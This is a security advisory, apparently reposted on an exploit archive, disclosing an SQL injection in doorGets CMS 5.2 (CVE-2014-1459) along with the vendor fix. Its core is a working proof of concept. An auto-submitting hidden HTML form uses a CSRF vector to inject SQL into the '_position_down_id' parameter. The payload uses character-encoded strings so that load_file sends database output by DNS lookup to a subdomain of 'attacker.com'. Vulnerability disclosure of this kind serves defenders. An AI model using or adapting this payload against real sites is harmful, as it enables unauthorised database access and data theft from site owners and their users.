doorGets CMS 5.2 - SQL Injection Vulnerability

Advisory Details:
 
High-Tech Bridge Security Research Lab discovered vulnerability in doorGets CMS, which can be exploited to perform SQL Injection attacks.
 
 
1) SQL Injection in doorGets CMS: CVE-2014-1459
 
The vulnerability exists due to insufficient validation of "_position_down_id" HTTP POST parameter passed to "/dg-admin/index.php" script. A remote attacker with access to administrative interface can execute arbitrary SQL commands in application's database. This vulnerability however can be exploited by a remote unauthenticated user via CSRF vector.
 
The following exploitation example is based on DNS Exfiltration technique and may be used if the database of the vulnerable application is hosted on a Windows system. The PoC will use a CSRF vector to send a DNS request demanding IP addess for `version()` (or any other sensetive output from the database) subdomain of ".attacker.com" (a domain name, DNS server of which is controlled by the attacker):
 
 
<form action="http://[host]/dg-admin/?controller=rubriques" method="post" name="main">
<input type="hidden" name="_position_down_id" value="1 AND 1=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114)))) -- ">
<input type="hidden" name="_position_down_position" value="1">
<input type="hidden" name="_position_down_submit" value="1">
<input type="hidden" name="_position_down_type" value="down">
<input type="submit" id="btn">
</form>
<script>
document.getElementById('btn').click();
</script>
 
 
-----------------------------------------------------------------------------------------------
 
Solution:
 
Fixed by vendor on January 15, 2014 directly in the source code without version modification/new release. Update to the version 5.2 released after January 15, 2014.
 
More Information:
https://github.com/doorgets/doorGets/commit/6b81541fc1e5dd1c70614585c1a04d04ccdb3b19

#  0day.today [2018-02-10]  #